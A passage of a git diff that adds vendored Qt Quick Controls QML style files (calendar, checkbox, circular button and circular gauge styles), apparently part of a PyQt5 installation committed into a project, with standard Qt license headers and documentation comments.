text: styleData.date.getDate() + anchors.centerIn: parent + color: styleData.valid ? "white" : "grey" + } + + Rectangle { + width: parent.width + height: 1 + color: "#555" + anchors.bottom: parent.bottom + } + + Rectangle { + width: 1 + height: parent.height + color: "#555" + anchors.right: parent.right + } + } + } + } + \endqml +*/ + +Style { + id: calendarStyle + + /*! + The Calendar this style is attached to. + */ + readonly property Calendar control: __control + + /*! + The color of the grid lines. + */ + property color gridColor: "#d3d3d3" + + /*! + This property determines the visibility of the grid. + + The default value is \c true. + */ + property bool gridVisible: true + + /*! + \internal + + The width of each grid line. + */ + property real __gridLineWidth: 1 + + /*! \internal */ + property color __horizontalSeparatorColor: gridColor + + /*! \internal */ + property color __verticalSeparatorColor: gridColor + + function __cellRectAt(index) { + return CalendarUtils.cellRectAt(index, control.__panel.columns, control.__panel.rows, + control.__panel.availableWidth, control.__panel.availableHeight, gridVisible ? __gridLineWidth : 0); + } + + function __isValidDate(date) { + return date !== undefined + && date.getTime() >= control.minimumDate.getTime() + && date.getTime() <= control.maximumDate.getTime(); + } + + /*! + The background of the calendar. + + The implicit size of the calendar is calculated based on the implicit size of the background delegate. + */ + property Component background: Rectangle { + color: "#fff" + implicitWidth: Math.max(250, Math.round(TextSingleton.implicitHeight * 14)) + implicitHeight: Math.max(250, Math.round(TextSingleton.implicitHeight * 14)) + } + + /*! + The navigation bar of the calendar. + + Styles the bar at the top of the calendar that contains the + next month/previous month buttons and the selected date label. + + The properties provided to the delegate are: + \table + \row \li readonly property string \b styleData.title + \li The title of the calendar. + \endtable + */ + property Component navigationBar: Rectangle { + height: Math.round(TextSingleton.implicitHeight * 2.73) + color: "#f9f9f9" + + Rectangle { + color: Qt.rgba(1,1,1,0.6) + height: 1 + width: parent.width + } + + Rectangle { + anchors.bottom: parent.bottom + height: 1 + width: parent.width + color: "#ddd" + } + HoverButton { + id: previousMonth + width: parent.height + height: width + anchors.verticalCenter: parent.verticalCenter + anchors.left: parent.left + source: "images/leftanglearrow.png" + onClicked: control.showPreviousMonth() + } + Label { + id: dateText + text: styleData.title + elide: Text.ElideRight + horizontalAlignment: Text.AlignHCenter + font.pixelSize: TextSingleton.implicitHeight * 1.25 + anchors.verticalCenter: parent.verticalCenter + anchors.left: previousMonth.right + anchors.leftMargin: 2 + anchors.right: nextMonth.left + anchors.rightMargin: 2 + } + HoverButton { + id: nextMonth + width: parent.height + height: width + anchors.verticalCenter: parent.verticalCenter + anchors.right: parent.right + source: "images/rightanglearrow.png" + onClicked: control.showNextMonth() + } + } + + /*! + The delegate that styles each date in the calendar. + + The properties provided to each delegate are: + \table + \row \li readonly property date \b styleData.date + \li The date this delegate represents. + \row \li readonly property bool \b styleData.selected + \li \c true if this is the selected date. + \row \li readonly property int \b styleData.index + \li The index of this delegate. + \row \li readonly property bool \b styleData.valid + \li \c true if this date is greater than or equal to than \l {Calendar::minimumDate}{minimumDate} and + less than or equal to \l {Calendar::maximumDate}{maximumDate}. + \row \li readonly property bool \b styleData.today + \li \c true if this date is equal to today's date. + \row \li readonly property bool \b styleData.visibleMonth + \li \c true if the month in this date is the visible month. + \row \li readonly property bool \b styleData.hovered + \li \c true if the mouse is over this cell. + \note This property is \c true even when the mouse is hovered over an invalid date. + \row \li readonly property bool \b styleData.pressed + \li \c true if the mouse is pressed on this cell. + \note This property is \c true even when the mouse is pressed on an invalid date. + \endtable + */ + property Component dayDelegate: Rectangle { + anchors.fill: parent + anchors.leftMargin: (!addExtraMargin || control.weekNumbersVisible) && styleData.index % CalendarUtils.daysInAWeek === 0 ? 0 : -1 + anchors.rightMargin: !addExtraMargin && styleData.index % CalendarUtils.daysInAWeek === CalendarUtils.daysInAWeek - 1 ? 0 : -1 + anchors.bottomMargin: !addExtraMargin && styleData.index >= CalendarUtils.daysInAWeek * (CalendarUtils.weeksOnACalendarMonth - 1) ? 0 : -1 + anchors.topMargin: styleData.selected ? -1 : 0 + color: styleData.date !== undefined && styleData.selected ? selectedDateColor : "transparent" + + readonly property bool addExtraMargin: control.frameVisible && styleData.selected + readonly property color sameMonthDateTextColor: "#444" + readonly property color selectedDateColor: Qt.platform.os === "osx" ? "#3778d0" : SystemPaletteSingleton.highlight(control.enabled) + readonly property color selectedDateTextColor: "white" + readonly property color differentMonthDateTextColor: "#bbb" + readonly property color invalidDateColor: "#dddddd" + Label { + id: dayDelegateText + text: styleData.date.getDate() + anchors.centerIn: parent + horizontalAlignment: Text.AlignRight + font.pixelSize: Math.min(parent.height/3, parent.width/3) + color: { + var theColor = invalidDateColor; + if (styleData.valid) { + // Date is within the valid range. + theColor = styleData.visibleMonth ? sameMonthDateTextColor : differentMonthDateTextColor; + if (styleData.selected) + theColor = selectedDateTextColor; + } + theColor; + } + } + } + + /*! + The delegate that styles each weekday. + + The height of the weekday row is calculated based on the maximum implicit height of the delegates. + + The properties provided to each delegate are: + \table + \row \li readonly property int \b styleData.index + \li The index (0-6) of the delegate. + \row \li readonly property int \b styleData.dayOfWeek + \li The day of the week this delegate represents. Possible values: + \list + \li \c Locale.Sunday + \li \c Locale.Monday + \li \c Locale.Tuesday + \li \c Locale.Wednesday + \li \c Locale.Thursday + \li \c Locale.Friday + \li \c Locale.Saturday + \endlist + \endtable + */ + property Component dayOfWeekDelegate: Rectangle { + color: gridVisible ? "#fcfcfc" : "transparent" + implicitHeight: Math.round(TextSingleton.implicitHeight * 2.25) + Label { + text: control.locale.dayName(styleData.dayOfWeek, control.dayOfWeekFormat) + anchors.centerIn: parent + } + } + + /*! + The delegate that styles each week number. + + The width of the week number column is calculated based on the maximum implicit width of the delegates. + + The properties provided to each delegate are: + \table + \row \li readonly property int \b styleData.index + \li The index (0-5) of the delegate. + \row \li readonly property int \b styleData.weekNumber + \li The number of the week this delegate represents. + \endtable + */ + property Component weekNumberDelegate: Rectangle { + implicitWidth: Math.round(TextSingleton.implicitHeight * 2) + Label { + text: styleData.weekNumber + anchors.centerIn: parent + color: "#444" + } + } + + /*! \internal */ + property Component panel: Item { + id: panelItem + + implicitWidth: backgroundLoader.implicitWidth + implicitHeight: backgroundLoader.implicitHeight + + property alias navigationBarItem: navigationBarLoader.item + + property alias dayOfWeekHeaderRow: dayOfWeekHeaderRow + + readonly property int weeksToShow: 6 + readonly property int rows: weeksToShow + readonly property int columns: CalendarUtils.daysInAWeek + + // The combined available width and height to be shared amongst each cell. + readonly property real availableWidth: viewContainer.width + readonly property real availableHeight: viewContainer.height + + property int hoveredCellIndex: -1 + property int pressedCellIndex: -1 + property int pressCellIndex: -1 + property var pressDate: null + + Rectangle { + anchors.fill: parent + color: "transparent" + border.color: gridColor + visible: control.frameVisible + } + + Item { + id: container + anchors.fill: parent + anchors.margins: control.frameVisible ? 1 : 0 + + Loader { + id: backgroundLoader + anchors.fill: parent + sourceComponent: background + } + + Loader { + id: navigationBarLoader + anchors.left: parent.left + anchors.right: parent.right + anchors.top: parent.top + sourceComponent: navigationBar + active: control.navigationBarVisible + + property QtObject styleData: QtObject { + readonly property string title: control.locale.standaloneMonthName(control.visibleMonth) + + new Date(control.visibleYear, control.visibleMonth, 1).toLocaleDateString(control.locale, " yyyy") + } + } + + Row { + id: dayOfWeekHeaderRow + anchors.top: navigationBarLoader.bottom + anchors.left: parent.left + anchors.leftMargin: (control.weekNumbersVisible ? weekNumbersItem.width : 0) + anchors.right: parent.right + spacing: gridVisible ? __gridLineWidth : 0 + property alias __repeater: repeater + + Repeater { + id: repeater + model: CalendarHeaderModel { + locale: control.locale + } + Loader { + id: dayOfWeekDelegateLoader + sourceComponent: dayOfWeekDelegate + width: __cellRectAt(index).width + + readonly property int __index: index + readonly property var __dayOfWeek: dayOfWeek + + property QtObject styleData: QtObject { + readonly property alias index: dayOfWeekDelegateLoader.__index + readonly property alias dayOfWeek: dayOfWeekDelegateLoader.__dayOfWeek + } + } + } + } + + Rectangle { + id: topGridLine + color: __horizontalSeparatorColor + width: parent.width + height: __gridLineWidth + visible: gridVisible + anchors.top: dayOfWeekHeaderRow.bottom + } + + Row { + id: gridRow + width: weekNumbersItem.width + viewContainer.width + height: viewContainer.height + anchors.top: topGridLine.bottom + + Column { + id: weekNumbersItem + visible: control.weekNumbersVisible + height: viewContainer.height + spacing: gridVisible ? __gridLineWidth : 0 + Repeater { + id: weekNumberRepeater + model: panelItem.weeksToShow + + Loader { + id: weekNumberDelegateLoader + height: __cellRectAt(index * panelItem.columns).height + sourceComponent: weekNumberDelegate + + readonly property int __index: index + property int __weekNumber: control.__model.weekNumberAt(index) + + Connections { + target: control + + function onVisibleMonthChanged() { + __weekNumber = control.__model.weekNumberAt(index) + } + + function onVisibleYearChanged() { + __weekNumber = control.__model.weekNumberAt(index) + } + } + + Connections { + target: control.__model + function onCountChanged() { + __weekNumber = control.__model.weekNumberAt(index) + } + } + + property QtObject styleData: QtObject { + readonly property alias index: weekNumberDelegateLoader.__index + readonly property int weekNumber: weekNumberDelegateLoader.__weekNumber + } + } + } + } + + Rectangle { + id: separator + anchors.topMargin: - dayOfWeekHeaderRow.height - 1 + anchors.top: weekNumbersItem.top + anchors.bottom: weekNumbersItem.bottom + + width: __gridLineWidth + color: __verticalSeparatorColor + visible: control.weekNumbersVisible + } + + // Contains the grid lines and the grid itself. + Item { + id: viewContainer + width: container.width - (control.weekNumbersVisible ? weekNumbersItem.width + separator.width : 0) + height: container.height - navigationBarLoader.height - dayOfWeekHeaderRow.height - topGridLine.height + + Repeater { + id: verticalGridLineRepeater + model: panelItem.columns - 1 + delegate: Rectangle { + x: __cellRectAt(index + 1).x - __gridLineWidth + y: 0 + width: __gridLineWidth + height: viewContainer.height + color: gridColor + visible: gridVisible + } + } + + Repeater { + id: horizontalGridLineRepeater + model: panelItem.rows - 1 + delegate: Rectangle { + x: 0 + y: __cellRectAt((index + 1) * panelItem.columns).y - __gridLineWidth + width: viewContainer.width + height: __gridLineWidth + color: gridColor + visible: gridVisible + } + } + + MouseArea { + id: mouseArea + anchors.fill: parent + + hoverEnabled: Settings.hoverEnabled + + function cellIndexAt(mouseX, mouseY) { + var viewContainerPos = viewContainer.mapFromItem(mouseArea, mouseX, mouseY); + var child = viewContainer.childAt(viewContainerPos.x, viewContainerPos.y); + // In the tests, the mouseArea sometimes gets picked instead of the cells, + // probably because stuff is still loading. To be safe, we check for that here. + return child && child !== mouseArea ? child.__index : -1; + } + + onEntered: { + hoveredCellIndex = cellIndexAt(mouseX, mouseY); + if (hoveredCellIndex === undefined) { + hoveredCellIndex = cellIndexAt(mouseX, mouseY); + } + + var date = view.model.dateAt(hoveredCellIndex); + if (__isValidDate(date)) { + control.hovered(date); + } + } + + onExited: { + hoveredCellIndex = -1; + } + + onPositionChanged: { + var indexOfCell = cellIndexAt(mouse.x, mouse.y); + var previousHoveredCellIndex = hoveredCellIndex; + hoveredCellIndex = indexOfCell; + if (indexOfCell !== -1) { + var date = view.model.dateAt(indexOfCell); + if (__isValidDate(date)) { + if (hoveredCellIndex !== previousHoveredCellIndex) + control.hovered(date); + + // The date must be different for the pressed signal to be emitted. + if (pressed && date.getTime() !== control.selectedDate.getTime()) { + control.pressed(date); + + // You can't select dates in a different month while dragging. + if (date.getMonth() === control.selectedDate.getMonth()) { + control.selectedDate = date; + pressedCellIndex = indexOfCell; + } + } + } + } + } + + onPressed: { + pressCellIndex = cellIndexAt(mouse.x, mouse.y); + pressDate = null; + if (pressCellIndex !== -1) { + var date = view.model.dateAt(pressCellIndex); + pressedCellIndex = pressCellIndex; + pressDate = date; + if (__isValidDate(date)) { + control.selectedDate = date; + control.pressed(date); + } + } + } + + onReleased: { + var indexOfCell = cellIndexAt(mouse.x, mouse.y); + if (indexOfCell !== -1) { + // The cell index might be valid, but the date has to be too. We could let the + // selected date validation take care of this, but then the selected date would + // change to the earliest day if a day before the minimum date is clicked, for example. + var date = view.model.dateAt(indexOfCell); + if (__isValidDate(date)) { + control.released(date); + } + } + pressedCellIndex = -1; + } + + onClicked: { + var indexOfCell = cellIndexAt(mouse.x, mouse.y); + if (indexOfCell !== -1 && indexOfCell === pressCellIndex) { + if (__isValidDate(pressDate)) + control.clicked(pressDate); + } + } + + onDoubleClicked: { + var indexOfCell = cellIndexAt(mouse.x, mouse.y); + if (indexOfCell !== -1) { + var date = view.model.dateAt(indexOfCell); + if (__isValidDate(date)) + control.doubleClicked(date); + } + } + + onPressAndHold: { + var indexOfCell = cellIndexAt(mouse.x, mouse.y); + if (indexOfCell !== -1 && indexOfCell === pressCellIndex) { + var date = view.model.dateAt(indexOfCell); + if (__isValidDate(date)) + control.pressAndHold(date); + } + } + } + + Connections { + target: control + function onSelectedDateChanged() { view.selectedDateChanged() } + } + + Repeater { + id: view + + property int currentIndex: -1 + + model: control.__model + + Component.onCompleted: selectedDateChanged() + + function selectedDateChanged() { + if (model !== undefined && model.locale !== undefined) { + currentIndex = model.indexAt(control.selectedDate); + } + } + + delegate: Loader { + id: delegateLoader + + x: __cellRectAt(index).x + y: __cellRectAt(index).y + width: __cellRectAt(index).width + height: __cellRectAt(index).height + sourceComponent: dayDelegate + + readonly property int __index: index + readonly property date __date: date + // We rely on the fact that an invalid QDate will be converted to a Date + // whose year is -4713, which is always an invalid date since our + // earliest minimum date is the year 1. + readonly property bool valid: __isValidDate(date) + + property QtObject styleData: QtObject { + readonly property alias index: delegateLoader.__index + readonly property bool selected: control.selectedDate.getFullYear() === date.getFullYear() && + control.selectedDate.getMonth() === date.getMonth() && + control.selectedDate.getDate() === date.getDate() + readonly property alias date: delegateLoader.__date + readonly property bool valid: delegateLoader.valid + // TODO: this will not be correct if the app is running when a new day begins. + readonly property bool today: date.getTime() === new Date().setHours(0, 0, 0, 0) + readonly property bool visibleMonth: date.getMonth() === control.visibleMonth + readonly property bool hovered: panelItem.hoveredCellIndex == index + readonly property bool pressed: panelItem.pressedCellIndex == index + // todo: pressed property here, clicked and doubleClicked in the control itself + } + } + } + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/CalendarStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/CalendarStyle.qmlc new file mode 100644 index 00000000..f47d9789 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/CalendarStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/CheckBoxStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/CheckBoxStyle.qml new file mode 100644 index 00000000..a476a953 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/CheckBoxStyle.qml @@ -0,0 +1,193 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Layouts 1.1 +import QtQuick.Window 2.1 +import QtQuick.Controls.Private 1.0 + +/*! + \qmltype CheckBoxStyle + \inqmlmodule QtQuick.Controls.Styles + \since 5.1 + \ingroup controlsstyling + \brief Provides custom styling for CheckBox. + + Example: + \qml + CheckBox { + text: "Check Box" + style: CheckBoxStyle { + indicator: Rectangle { + implicitWidth: 16 + implicitHeight: 16 + radius: 3 + border.color: control.activeFocus ? "darkblue" : "gray" + border.width: 1 + Rectangle { + visible: control.checked + color: "#555" + border.color: "#333" + radius: 1 + anchors.margins: 4 + anchors.fill: parent + } + } + } + } + \endqml +*/ +Style { + id: checkboxStyle + + /*! The \l CheckBox this style is attached to. */ + readonly property CheckBox control: __control + + /*! This defines the text label. */ + property Component label: Item { + implicitWidth: text.implicitWidth + 2 + implicitHeight: text.implicitHeight + baselineOffset: text.baselineOffset + Rectangle { + anchors.fill: text + anchors.margins: -1 + anchors.leftMargin: -3 + anchors.rightMargin: -3 + visible: control.activeFocus + height: 6 + radius: 3 + color: "#224f9fef" + border.color: "#47b" + opacity: 0.6 + } + Text { + id: text + text: StyleHelpers.stylizeMnemonics(control.text) + anchors.centerIn: parent + color: SystemPaletteSingleton.text(control.enabled) + renderType: Settings.isMobile ? Text.QtRendering : Text.NativeRendering + } + } + /*! The background under indicator and label. */ + property Component background + + /*! The spacing between indicator and label. */ + property int spacing: Math.round(TextSingleton.implicitHeight/4) + + /*! This defines the indicator button. */ + property Component indicator: Item { + implicitWidth: Math.round(TextSingleton.implicitHeight) + implicitHeight: implicitWidth + Rectangle { + anchors.fill: parent + anchors.bottomMargin: -1 + color: "#44ffffff" + radius: baserect.radius + } + Rectangle { + id: baserect + gradient: Gradient { + GradientStop {color: "#eee" ; position: 0} + GradientStop {color: control.pressed ? "#eee" : "#fff" ; position: 0.1} + GradientStop {color: "#fff" ; position: 1} + } + radius: TextSingleton.implicitHeight * 0.16 + anchors.fill: parent + border.color: control.activeFocus ? "#47b" : "#999" + } + + Image { + source: "images/check.png" + opacity: control.checkedState === Qt.Checked ? control.enabled ? 1 : 0.5 : 0 + anchors.centerIn: parent + anchors.verticalCenterOffset: 1 + Behavior on opacity {NumberAnimation {duration: 80}} + } + + Rectangle { + anchors.fill: parent + anchors.margins: Math.round(baserect.radius) + antialiasing: true + gradient: Gradient { + GradientStop {color: control.pressed ? "#555" : "#999" ; position: 0} + GradientStop {color: "#555" ; position: 1} + } + radius: baserect.radius - 1 + anchors.centerIn: parent + anchors.alignWhenCentered: true + border.color: "#222" + Behavior on opacity {NumberAnimation {duration: 80}} + opacity: control.checkedState === Qt.PartiallyChecked ? control.enabled ? 1 : 0.5 : 0 + } + } + + /*! \internal */ + property Component panel: Item { + implicitWidth: Math.max(backgroundLoader.implicitWidth, row.implicitWidth + padding.left + padding.right) + implicitHeight: Math.max(backgroundLoader.implicitHeight, labelLoader.implicitHeight + padding.top + padding.bottom,indicatorLoader.implicitHeight + padding.top + padding.bottom) + baselineOffset: labelLoader.item ? padding.top + labelLoader.item.baselineOffset : 0 + + Loader { + id: backgroundLoader + sourceComponent: background + anchors.fill: parent + } + RowLayout { + id: row + anchors.fill: parent + + anchors.leftMargin: padding.left + anchors.rightMargin: padding.right + anchors.topMargin: padding.top + anchors.bottomMargin: padding.bottom + + spacing: checkboxStyle.spacing + Loader { + id: indicatorLoader + sourceComponent: indicator + } + Loader { + id: labelLoader + Layout.fillWidth: true + sourceComponent: label + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/CheckBoxStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/CheckBoxStyle.qmlc new file mode 100644 index 00000000..26a5a290 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/CheckBoxStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/CircularButtonStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/CircularButtonStyle.qml new file mode 100644 index 00000000..b2324e0e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/CircularButtonStyle.qml @@ -0,0 +1,87 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Extras module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls.Styles 1.4 +import QtQuick.Extras.Private 1.0 + +ButtonStyle { + id: buttonStyle + + label: Text { + anchors.fill: parent + horizontalAlignment: Text.AlignHCenter + verticalAlignment: Text.AlignVCenter + text: control.text + font.pixelSize: TextSingleton.font.pixelSize * 1.25 + color: control.pressed || control.checked ? __buttonHelper.textColorDown : __buttonHelper.textColorUp + styleColor: control.pressed || control.checked ? __buttonHelper.textRaisedColorDown : __buttonHelper.textRaisedColorUp + style: Text.Raised + wrapMode: Text.Wrap + fontSizeMode: Text.Fit + } + + /*! \internal */ + property alias __buttonHelper: buttonHelper + + CircularButtonStyleHelper { + id: buttonHelper + control: buttonStyle.control + } + + background: Item { + implicitWidth: __buttonHelper.implicitWidth + implicitHeight: __buttonHelper.implicitHeight + + Canvas { + id: backgroundCanvas + anchors.fill: parent + + Connections { + target: control + function onPressedChanged() { backgroundCanvas.requestPaint() } + } + + onPaint: { + var ctx = getContext("2d"); + __buttonHelper.paintBackground(ctx); + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/CircularButtonStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/CircularButtonStyle.qmlc new file mode 100644 index 00000000..60a11ef1 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/CircularButtonStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/CircularGaugeStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/CircularGaugeStyle.qml new file mode 100644 index 00000000..e40b8bb4 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/CircularGaugeStyle.qml @@ -0,0 +1,497 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Extras module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtGraphicalEffects 1.0 +import QtQuick.Controls 1.4 +import QtQuick.Controls.Styles 1.4 +import QtQuick.Controls.Private 1.0 +import QtQuick.Extras 1.4 +import QtQuick.Extras.Private 1.0 + +/*! + \qmltype CircularGaugeStyle + \inqmlmodule QtQuick.Controls.Styles + \since 5.5 + \ingroup controlsstyling + \brief Provides custom styling for CircularGauge. + + You can create a custom circular gauge by replacing the following delegates: + \list + \li \l background + \li \l tickmark + \li \l minorTickmark + \li \l tickmarkLabel + \li \l needle + \li \l foreground + \endlist + + Below is an example that changes the needle to a basic orange \l Rectangle: + \code + CircularGauge { + style: CircularGaugeStyle { + needle: Rectangle { + y: outerRadius * 0.15 + implicitWidth: outerRadius * 0.03 + implicitHeight: outerRadius * 0.9 + antialiasing: true + color: Qt.rgba(0.66, 0.3, 0, 1) + } + } + } + \endcode + + The result: + \image circulargauge-needle-example-2.png CircularGaugeStyle example + + \section2 Direction + + \l minimumValueAngle and \l maximumValueAngle determine not only the + position of the tickmarks, labels and needle, but the direction in which + they are displayed around the gauge. For example, if \l minimumValueAngle + is greater than \l maximumValueAngle, the gauge will be anti-clockwise. + Below, there are two gauges: the top gauge has a \l minimumValueAngle of + \c -90 degrees and a \l maximumValueAngle of \c 90 degrees, and the bottom + gauge has the opposite. + + \image circulargauge-reversed.png Reversed CircularGauge + + \sa {Styling CircularGauge} +*/ + +Style { + id: circularGaugeStyle + + /*! + The \l CircularGauge that this style is attached to. + */ + readonly property CircularGauge control: __control + + /*! + The distance from the center of the gauge to the outer edge of the + gauge. + + This property is useful for determining the size of the various + components of the style, in order to ensure that they are scaled + proportionately when the gauge is resized. + */ + readonly property real outerRadius: Math.min(control.width, control.height) * 0.5 + + /*! + This property determines the angle at which the minimum value is + displayed on the gauge. + + The angle set affects the following components of the gauge: + \list + \li The angle of the needle + \li The position of the tickmarks and labels + \endlist + + The angle origin points north: + + \image circulargauge-angles.png + + There is no minimum or maximum angle for this property, but the default + style only supports angles whose absolute range is less than or equal + to \c 360 degrees. This is because ranges higher than \c 360 degrees + will cause the tickmarks and labels to overlap each other. + + The default value is \c -145. + */ + property real minimumValueAngle: -145 + + /*! + This property determines the angle at which the maximum value is + displayed on the gauge. + + The angle set affects the following components of the gauge: + \list + \li The angle of the needle + \li The position of the tickmarks and labels + \endlist + + The angle origin points north: + + \image circulargauge-angles.png + + There is no minimum or maximum angle for this property, but the default + style only supports angles whose absolute range is less than or equal + to \c 360 degrees. This is because ranges higher than \c 360 degrees + will cause the tickmarks and labels to overlap each other. + + The default value is \c 145. + */ + property real maximumValueAngle: 145 + + /*! + The range between \l minimumValueAngle and \l maximumValueAngle, in + degrees. This value will always be positive. + */ + readonly property real angleRange: control.__panel.circularTickmarkLabel.angleRange + + /*! + This property holds the rotation of the needle in degrees. + */ + property real needleRotation: { + var percentage = (control.value - control.minimumValue) / (control.maximumValue - control.minimumValue); + minimumValueAngle + percentage * angleRange; + } + + /*! + The interval at which tickmarks are displayed. + + For example, if this property is set to \c 10 (the default), + control.minimumValue to \c 0, and control.maximumValue to \c 100, + the tickmarks displayed will be 0, 10, 20, etc., to 100, + around the gauge. + */ + property real tickmarkStepSize: 10 + + /*! + The distance in pixels from the outside of the gauge (outerRadius) at + which the outermost point of the tickmark line is drawn. + */ + property real tickmarkInset: 0 + + + /*! + The amount of tickmarks displayed by the gauge, calculated from + \l tickmarkStepSize and the control's + \l {CircularGauge::minimumValue}{minimumValue} and + \l {CircularGauge::maximumValue}{maximumValue}. + + \sa minorTickmarkCount + */ + readonly property int tickmarkCount: control.__panel.circularTickmarkLabel.tickmarkCount + + /*! + The amount of minor tickmarks between each tickmark. + + The default value is \c 4. + + \sa tickmarkCount + */ + property int minorTickmarkCount: 4 + + /*! + The distance in pixels from the outside of the gauge (outerRadius) at + which the outermost point of the minor tickmark line is drawn. + */ + property real minorTickmarkInset: 0 + + /*! + The distance in pixels from the outside of the gauge (outerRadius) at + which the center of the value marker text is drawn. + */ + property real labelInset: __protectedScope.toPixels(0.19) + + /*! + The interval at which tickmark labels are displayed. + + For example, if this property is set to \c 10 (the default), + control.minimumValue to \c 0, and control.maximumValue to \c 100, the + tickmark labels displayed will be 0, 10, 20, etc., to 100, + around the gauge. + */ + property real labelStepSize: tickmarkStepSize + + /*! + The amount of tickmark labels displayed by the gauge, calculated from + \l labelStepSize and the control's + \l {CircularGauge::minimumValue}{minimumValue} and + \l {CircularGauge::maximumValue}{maximumValue}. + + \sa tickmarkCount, minorTickmarkCount + */ + 